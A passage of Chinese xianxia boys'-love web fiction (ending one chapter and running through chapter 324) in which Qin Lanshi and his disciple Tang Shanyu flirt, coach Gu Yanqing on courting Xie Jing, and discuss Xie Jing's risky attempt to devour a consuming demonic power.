“就是因为他不愿意,所以他现在一直没有告诉你啊!”秦兰时义正言辞地握拳,用那种下一刻就要喊着羁绊的热血表情看向顾延清。 “……”好,好像也有道理。 “既然无法抉择。”唐山玉看了一眼顾延清那好像被说服的表情,开口道:“不如顾师伯你两个方法都试试?看看哪个效果更好。” “肯定是我的方法好吧?”秦兰时自信一笑,伸手搭住唐山玉的肩膀,将人往自己这边勾过来,微微侧头,含笑与人咬着耳朵:“怎么?要打赌吗?” “……师父,顾师伯还看着呢,再说了用这种事打赌不好吧?”唐山玉感觉到耳朵发痒,不由得歪了歪头,躲过这人呼出的温息,后颈也不由得因这灼热染上了些许艳色。 “我就说说……不过,我赌的不是这个,我赌第一次顾延清在上面。”秦兰时诶嘿一笑,然后坚定地站在自己师兄那一边。 唐山玉听到这话,顿了顿,就看了过来,而后,他与站在旁边没听太懂的顾延清说道:“顾师伯,你放心,我和师傅会给你制定好计划的,你明日再来找我们吧,我们有事情要聊聊。” “…好,好的?”顾延清愣了一下,看了他们一眼后就转头翻窗离去。 “怎么样?接下我这个赌吗?”秦兰时笑吟吟地在人的脸上亲了一口,但接下来说出的话却让人觉得他一直在挑衅:“看看到底师父厉害,还是徒弟厉害?” “……赌注是什么?没有我可不赌,再说了,你就那么确定我压谢璟在上?”唐山玉抱臂温和笑着,手伸过去,勾起那人的发丝,姿态散漫。 “唔…这个嘛。”秦兰时已然将人揽入怀里,他低头咬住唐山玉的脖颈,后悄然往下,灵巧地解着衣领上的扣子:“这不只是他们俩的事,这可是我们师徒之间的战争呢,你说呢?我的好徒儿~” 唐山玉微微仰头,安静地看着天花板,而后其视线又慢慢聚集在秦兰时身上,并且抬起手掐住这人的脸,后便用手指按住这人乱咬的牙:“人一走就发疯?” “都说了,我们心思是一样的,就比如我想●你的心思应当人尽皆知才对。”秦兰时眨了眨眼,然后轻咬了一下唐山玉的手指。 “呵,我没你野,你个混账玩意的混账话可真不少。”唐山玉勾了勾唇,没缩回手,反倒是继续给人看牙。 “怎么能这样说,这算是我在与你表达爱意呢?而且……唔嗯……”秦兰时眯了眯眼,然后笑着松嘴道:“毕竟我只想●你,也只想和你谈,只想和你结婚,结为道侣,而这些人尽皆知不是很正常嘛。” “那几个魔主可是都说我对你心心念念,为爱发疯撞大墙,说要是想惹我只需要把你的名字提出来溜一圈,我保证发疯给他们看。” “甜言蜜语。“唐山玉顿了顿,低头看一眼那作乱的手,笑了一下。 “可你爱听不是吗?”不知何时,秦兰时已将人抱至于案桌上,正俯身亲吻着,他眯着眼,将底下的风光一览无余:“过会再一起洗吧,怎么样?” “…可以。”唐山玉也有些意动了。 “正好,你气消了,轮到我生气了。”秦兰时眨了眨眼,突然就笑得极为灿烂。 “……嗯?”唐山玉一愣。 只见秦兰时撩起唐山玉的发丝,引至嘴边,他在上边落了一吻,而唐山玉看到那些发丝里夹杂着不少银白,很显然被人特地调出来的。 “所以,该我生气了,好好算一下你又把自己的身子不当回事的账吧。”秦兰时笑吟吟地松手,任由发丝滑落,而他整个人也因此倾身而来。 “…等……”唐山玉微微瞪大了双眼,但在下一刻他却不由得哑了声,而不知何时游走在四周的藤蔓悄然爬上了案桌。 …… 次日。 “大师兄,我和山玉说好了,我们轮流给你出主意,保证让你抱得美人归!!!”秦兰时神清气爽地坐在顾延清对面,并且正拿起桌上的点心就那么仰头往嘴里送。 “…山玉呢?”顾延清看了一眼秦兰时旁边空空的位置。 “他有点事,咱们先不管他了。”秦兰时嘿嘿一笑,笑得很是灿烂。 “…你发带呢?”顾延清又看了一眼今天拿着簪子随意挽了个发的秦兰时,这发型顾延清曾经在那些出嫁妇人身上见过,于是他略有疑惑。 “…咳,早上起来得急,忘记拿了,没事,过会再拿也行。”秦兰时想了一下发带现在怕是还缠在某人的手上,虽然已解开了,但他不由得心虚咳了一声:“好啦,来吧,大师兄,说出你的疑问!!” “…兰时…我只是想阿璟能够多信任我一点,没有想过要强制……”顾延清总觉得这好像和自己原先的想法已经偏离得十万八千里了。 “师兄啊,你还是不够贪心,你不止要信任,你还要把人给拿下啊!!”秦兰时轻轻摇头,露出一抹神秘又自信的笑。 “……”顾延清并没有大彻大悟。 “算了…我还是……“顾延清抬手想要委婉拒绝。 秦兰时见此就单手撑着桌子,整个人利落地朝着顾延清这边翻了过来,并且说:“就算你现在不要,不代表以后不要啊,你就不想知道我怎么把徒弟泡到手的吗?” 顾延清微微一顿,他没再继续拒绝了。 “师兄,我现在要教的可不是强制爱,而是撩人手法,首先呢,你的眼睛不要那么冷,视线灼热点。”秦兰时想了想,觉得光说不行,于是让顾延清看着他的眼神来,他知道这人学习能力很好的。 “语气,要温柔,眼神要柔情似水,再搭配上动作,比如勾起人的下巴。”秦兰时就不伸手勾顾延清下巴了,而是拿出他的折扇意思意思勾一下,示范给顾延清:“你到时候记得用手,有身体接触比区区死物更有感觉……” “嗯……”顾延清微微仰头,看着秦兰时的表情认真学习着。 “秦兰时,我听说你过来了……”就在这时,谢璟从窗户翻了进来,他一进来就看到了这一幕,于是人当场愣住。 这一幕是什么样的呢。 在谢璟眼里可谓是俩人气氛极好,互相对视,含情脉脉,难舍难分……再加上秦兰时拿出折扇勾起人的下巴,很难不想到顾延清是不是被调戏了。 于是,谢璟脸上那要迎接秦兰时的轻松款冷漠缓缓散去,变成了那种你们到底要在做什么的嫌弃表情,并且还带上几分杀意。 还没等秦兰时麻溜地放下折扇呢,另一边的门也被人开了,只见唐山玉怒气冲冲地进来,而他也换了个发型,只见他用一根发带随意绑了个低马尾,而他头发还有些凌乱,应当是随便整理一番才过来的。 “秦兰时,我簪子呢?”唐山玉嘴上的话还在说,但是怒气冲冲的表情已经发生了变化,不为别的,这里有秦兰时和顾延清之间那非常让人误会的姿势和在窗户那边面露杀意的谢璟。 “………” “…你们进来都不敲门敲窗吗!!!” 秦兰时无能地狂怒了一下。 一个是和自己一样并且屏蔽气息的化神,一个身上带着化神都很难感知的黑石。 这俩人!!就不能敲窗敲门吗!!! 第324章 好诡异啊 现在的气氛很诡异。 秦兰时一时之间不知道自己该不该放下手,放下吧,显得欲盖弥彰,不放吧,这样一直举着也不是个事。 谢璟现在那包含杀意的眼神让秦兰时不由得浑身抖了抖,而唐山玉现在那你在做什么的困惑眼神更让秦兰时心里发虚。 于是他先发制人,怒了一下,很显然这招没有用,谢璟四周的黑色雷电正彰显其主人心情的不满,他刚想拔剑呢,就听到不远处唐山玉开口了: “兰时哥哥,我就知道,就算你和我再怎么好,你心里想的还是他吗?” 秦兰时:……? 唐山玉,你在干什么,快住手!! 唐山玉说着,就抬起衣袖擦了擦眼角处不存在的泪,那声音可谓是闻者伤心落泪,悲切到极致后,剩下的时间都用来谴责秦兰时了。 “我知道了,我来得不是时候,我这就走……不耽误你了。”说完,唐山玉转过身去,搭配着他此时松散的低马尾发型,那种我见犹怜的破碎感就这样油然而生。 “等等——”秦兰时对唐山玉伸出手,就在他想要阻止人的时候,旁边的顾延清比他还快地过去了。 紧接着,顾延清抬起手臂,按在了唐山玉转身离去的门框上,他略微低头,无比认真地说:“山玉,我与兰时什么都没有,你不要伤心。” 唐山玉:…… 他刚刚是不是好像被人门咚了? 唐山玉想要后退一步,拉开距离。 而就在这时,秦兰时看着这一幕,便握紧了手里的折扇就立马凑过来,直接抬手咚在了唐山玉的后方,并且咬牙切齿地瞪着顾延清:“师兄,你无师自通,举一反三的能力很不错,但是对象是不是错了呢?” 唐山玉想要后退的计划失败了,他现在前后为男。 而谢璟看着这混乱的一幕,方才的杀意突然不由得减弱了下来,甚至有一种他干嘛要生气的迷茫感。 “嘁,行吧,我才是最不该来的。”谢璟嫌弃地看了一眼这三人,转头就要翻窗走了,而这一次,最快过去的也是顾延清,他直接拉住了人的手臂。 “…没有……”顾延清见谢璟转头看过来的眼神有些冰冷,话有一瞬的卡壳,他应该说什么谢璟才不会用这种眼神看他呢。 就这样,顾延清开口了:“你该来的,我们可以一起……” “……四个人是不是有点拥挤了。”谢璟看了一眼还在那边目瞪口呆的俩人,再看看不知道自己到底说了什么的顾延清。 “…什么?”顾延清显然没有意识到自己的话有哪里不对,不如说,他说的一起是指他和谢璟两个人,但是这种情况下,这种一起听上去是四个人。 “…师父,你教的?”唐山玉用那种复杂的眼神朝着秦兰时看过去。 “我还想是不是你忽悠的呢,我师兄在我离开前可不是这样的!!”秦兰时觉得这个锅他不背,他都离开随清宗一百多年了。 “…我也没干什么啊?除了看点我推荐的书外,应该没有其他的吧?”唐山玉说着,也觉得自己很清白:“我推荐的书都很正经的,绝对没有你的那种不道德的书。” “对啊,所以山玉你现在是不是可以分一会儿身了,能不能……”秦兰时说到这里,居然有些脸红期待地看了过来。 “……?你要累死我?”唐山玉现在还是金丹了,这种事还是等他元婴再说吧。 “嘁,你不行。”秦兰时失望了,于是开始攻击唐山玉。 “你才不行……”唐山玉本能怼回去,才怼一半就抬起手捂住嘴,这样不行,秦兰时在这个方面真的很行,万一他要讨回来怎么办。 “我听到了……”秦兰时语气幽幽地开口了:“看来山玉觉得还不够,那为师自然要好好满足自己的徒弟才是……” 唐山玉:…… 该死,他什么时候可以元婴。 就在这对师徒俩正在为行不行争吵的时候,那边的谢璟一副想要跳下去,但是顾延清不给他跳的模样,就算谢璟说了没关系,他不在意,顾延清还是没有放人走。 谢璟沉默了,他就没有见过那么执着的人,可这种时候,谢璟又很好奇,如果他偏要就此坠落呢?那么顾延清是会继续阻止他吗?还是干脆顺了他的意呢? 谢璟不知道,他有点好奇,坐在窗台上的他微微低头,往前凑去,吻住了顾延清,这让顾延清一愣。 每次吻住顾延清的时候,顾延清都会本能地松一下力度,所以这招用几次都适用,再加上……只见谢璟在顾延清往后退的时候,发狠地咬破顾延清的下唇,这疼痛感让顾延清本能地往后退了一步,鲜血自唇上流下,给人添了一抹独有的艳色。 而谢璟抬手一抹唇,那抹艳丽在唇角划出一道红痕,他笑了一下,身子就这样往后倒去,在坠落前,顾延清那微缩的瞳孔真是让谢璟心情极好。 谢璟没有被拉住,但是顾延清却从上面跳下来了,然后就这样,一同坠落,并且拉住了谢璟的手。 “……这两个家伙玩什么你跳我跳的py呢?”因为目击俩人跳窗的唐山玉走到窗边,看着顾延清正在查看坠落后的谢璟情况,有些无奈地靠在窗台那,托着下巴。 “这个我就不知道了,因为要叫他们上来说正事了。”秦兰时依在一旁的窗边那,抱臂看着下方的场景:“无论如何,该干正事了。” “……你知道谢璟去做什么了对吧?”唐山玉转头看向秦兰时,发丝于风中轻飘:“你看上去不是很意外。” “…他的身体不很好,那股力量一直在撕裂着他,有几次他会失去意识大闹一场,但更多的时候是虚弱地躺在床上。”秦兰时伸出手抓了抓唐山玉的低马尾,看了看上面的雪白,而那发丝轻柔地于指尖溜走。 “噢,不能说是撕裂,应该是吞噬吧。”秦兰时低头看了过去,他看着正在和顾延清说着话的谢璟,而其眼里的片刻灵动让人想起……两百多岁对于修士来说,已经很年轻了:“…哎,还很年轻呢……” “…师父,你那种难得慈祥的眼神是什么情况?”唐山玉默默抱住自己的手臂,并且狠狠地搓了搓好几下:“难不成,你背着我认谢璟当儿子了……?” “我倒是想,但是他不同意啊。”秦兰时叹了口气。 “…会同意才有鬼呢。”唐山玉无奈地摆了摆手。 “哈哈哈……说得也是呢,不被揍一顿就不错了,虽然他不一定打得过我。”说到这里,秦兰时有些小骄傲地挺了挺胸膛。 “所以谢璟去做什么了?”唐山玉笑眯眯地问道:“别扯开话题。” “…他应该是去用那个法子了,刚好我们行渊楼在这里有分店,而那个法子是……只要他先把这股力量给吞噬掉,那么他就不会被它所吞噬,但是很显然这个过程无比困难。”秦兰时抬起手,揉了揉唐山玉的脑袋,然后无奈地说:“这是最好的解法,同时也是最危险的。” “我为他这个身体情况暗地里找了不少医师,那医师也列出不少解法,而谢璟在之前用的都是压抑缓解的法子,但这种治标不治本。”秦兰时转过身,朝着里屋走去,他重新坐在椅子上,拿起桌上的茶水喝了一口。 “但他现在改变了主意,我想可能是因为顾延清吧。”秦兰时看了唐山玉一眼,然后说:“这个法子,就是豪赌一场,赢了,万事大吉,输了,那么失去的就是性命。” “既然吞噬,那就避免不了要与那股力量对对碰,所以他那天虚弱带魔纹回来就是对碰过了。” “没有更稳妥的办法吗?”唐山玉对此有些担忧地问道。 “没有,但是未来可能有,但是……你劝?”秦兰时勾了勾唇,然后说:“你这个也爱赌命的家伙去劝?我怎么看着那么乐呢?” “这旧账是过不过去了吧?”唐山玉默默抬手扶额。 “是啊,我要就这样和你翻旧账一辈子。”秦兰时说着,看了看这里,只有两把椅子,然后就冲唐山玉拍了拍自己的大腿:“来,来坐。” “…不是还有一把椅子吗?”唐山玉看了看先前顾延清坐下的另一把椅子。 “给他们回来坐啊。”秦兰时见唐山玉扭扭捏捏的不像话,就一把将人拉过来,让其坐在自己的腿上:“我人多好,椅子都让出来一把了。” “……”唐山玉沉默。 很快,玩跳窗的俩人回来了,一回来他们就看到了那仅剩的椅子,还有那坐在一块的两个大男人。 “来,都坐下吧。”秦兰时自信地抱住怀里的唐山玉,然后指了指那把椅子说:“你们可以像我一样坐,不客气。” “…我是不是还要说谢谢你啊?”谢璟脸色阴沉地看着那相亲相爱的俩人,只不过其视线在落在唐山玉身上后又很快地移开了。 “阿璟,来。”顾延清坐下来了,然后对谢璟张开双臂。 “…?我不要。”谢璟瞪了这个好像在期待什么的顾延清一眼,然后说:“我可以坐桌子上。” “谢璟啊,要入乡随俗啊,你知道的,这是痴梦渊的民俗风情。”秦兰时唉声叹气地摇了摇头,然后说:“坐人大腿不过是很普遍的现象。“ “啊…啊…对对对,但是我不一定坐顾延清的大腿,我坐你这个小情人的大腿上不就行……”谢璟试图争这口舌之快,但是他话还没说完,就感觉到顾延清看过来的视线里带着些许不乐意的情绪。 谢璟:…… “你起来。”谢璟指了指顾延清。 顾延清起来了。 然后谢璟过去坐下了,并且拍了拍大腿说:“来,你坐。” 是的,他可是魔尊,怎么能是坐人大腿的那个。 在这方面,他必要争个脸面。